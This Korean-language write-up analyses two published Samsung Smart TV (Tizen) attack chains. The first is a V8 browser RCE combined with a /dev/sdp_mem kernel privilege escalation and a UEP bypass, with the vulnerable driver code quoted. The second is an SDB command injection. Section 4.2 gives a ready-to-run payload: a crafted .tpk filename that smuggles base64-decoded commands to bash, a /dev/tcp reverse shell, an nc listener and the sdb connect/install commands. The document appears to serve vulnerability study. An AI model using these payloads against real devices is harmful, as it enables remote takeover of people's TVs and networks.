삼성 스마트TV 취약점 사례 분석

1. Introduction

2. Samsung Smart TV와 Tizen 구조

2.1 Tizen TV 구조

Samsung Smart TV
├── Web / Native / .NET Application
├── Chromium Browser와 V8
├── Tizen System Service
├── SDB Developer Interface
└── Linux Kernel과 Samsung SoC Driver

2.2 SMACK

Process의 subject label
        +
File / Device의 object label
        +
SMACK Rule
        ↓
접근 허용 또는 차단

2.3 UEP

외부 바이너리 실행
→ exec 호출
→ UEP 서명 검사
→ 서명 확인 후 실행 또는 차단

3. Synacktiv Samsung Q60T Rooting

3.1 공격 흐름

악성 웹 페이지 접속
→ V8 브라우저 RCE
→ uid=5001(owner) shell
→ /dev/sdp_mem으로 커널 메모리 R/W
→ UEP 비활성화
→ root 권한 명령 실행

3.2 V8 브라우저 RCE

잘못된 JIT Type 추론
→ Array OOB
→ addrof / fakeobj
→ Fake ArrayBuffer
→ 브라우저 프로세스 임의 주소 R/W

uid=5001(owner)
gid=100(users)
context="User::Pkg::org.tizen.browser"

3.3 브라우저 context와 SMACK

crw-rw-rw- 1 root root * 10, 193 /dev/sdp_mem

3.4 /dev/sdp_mem 커널 LPE

static const struct file_operations sdp_mem_fops = {
    .owner   = THIS_MODULE,
    .open    = sdp_mem_open,
    .release = sdp_mem_release,
    .mmap    = sdp_mem_mmap,
};

static int sdp_mem_mmap(struct file *file, struct vm_area_struct *vma)
{
    size_t size = vma->vm_end - vma->vm_start;

    if (file->f_flags & O_SYNC)
        vma->vm_page_prot = __pgprot_modify(
            vma->vm_page_prot,
            PTE_ATTRINDX_MASK,
            PTE_ATTRINDX(1) | PTE_UXN
        );

    vma->vm_ops = &mmap_mem_ops;

    return remap_pfn_range(vma,
                           vma->vm_start,
                           vma->vm_pgoff,
                           size,
                           vma->vm_page_prot);
}

공격자 지정 PFN
→ remap_pfn_range()
→ 사용자 공간에 물리 페이지 매핑
→ 커널 Data와 function pointer 수정

3.5 UEP 우회와 root 권한 획득

브라우저 JIT shellcode
→ 기존 프로세스 안에서 실행

외부에서 받은 BusyBox
→ exec 호출
→ UEP 서명 검사
→ 서명이 없으면 실행 차단

static struct sdp_proc_entry sdp_proc_entries[] = {
    {
        .name = "sdp_version",
        .proc_read = sdp_proc_show_sdpver,
    },
};

s_uepStatus 변경
→ poweroff_cmd 변경
→ proc_read를 __orderly_poweroff로 변경
→ cat /proc/sdp_version
→ call_usermodehelper()
→ root 권한 명령 실행

uid=0(root)
gid=0(root)
context="_"

3.6 root 이후 펌웨어 복호화

4. Bishop Fox SDB Command Injection

4.1 SDB shell

sdb shell
closed

sdb root on
Permission denied

sdb install test.tpk

shell:0 appinstall tpk test.tpk

정상 파일명
package.tpk
→ appinstall의 파일명 인자

조작된 파일명
package$(COMMAND).tpk
→ appinstall 실행 전에 COMMAND 평가

4.2 SDB Injection payload

test.tpk$(echo${IFS}-n${IFS}<BASE64_PAYLOAD>|base64${IFS}-d|bash).tpk

${IFS}를 공백으로 확장
→ Base64 문자열 출력
→ base64 -d로 원래 명령 복원
→ bash로 실행
→ 결과를 원래 파일명 위치에 치환

LISTEN_PORT='PORT'
nc -lvnp "$LISTEN_PORT"

TARGET_HOST='HOST'
TARGET_PORT='PORT'
TARGET_TV='TARGET'

PAYLOAD="bash -i >& /dev/tcp/${TARGET_HOST}/${TARGET_PORT} 0>&1"
B64=$(printf '%s' "$PAYLOAD" | base64 | tr -d '\n')
INJECTED_FILENAME='test.tpk$(echo${IFS}-n${IFS}'"${B64}"'|base64${IFS}-d|bash).tpk'

WORK=$(mktemp -d /tmp/sdb-injection.XXXXXX)
printf '\0' > "${WORK}/${INJECTED_FILENAME}"

sdb connect "${TARGET_TV}:26101"
sdb -s "${TARGET_TV}:26101" install "${WORK}/${INJECTED_FILENAME}"

uid=901(sdk)

5. Conclusion

Reference

• Synacktiv Samsung Q60T Exploit
• Rooting Samsung Q60T Smart TV - STHACK 2022
• V8 Fix - TypeInductionVariablePhi
• Bishop Fox - Samsung Tizen OS Version Through 9.0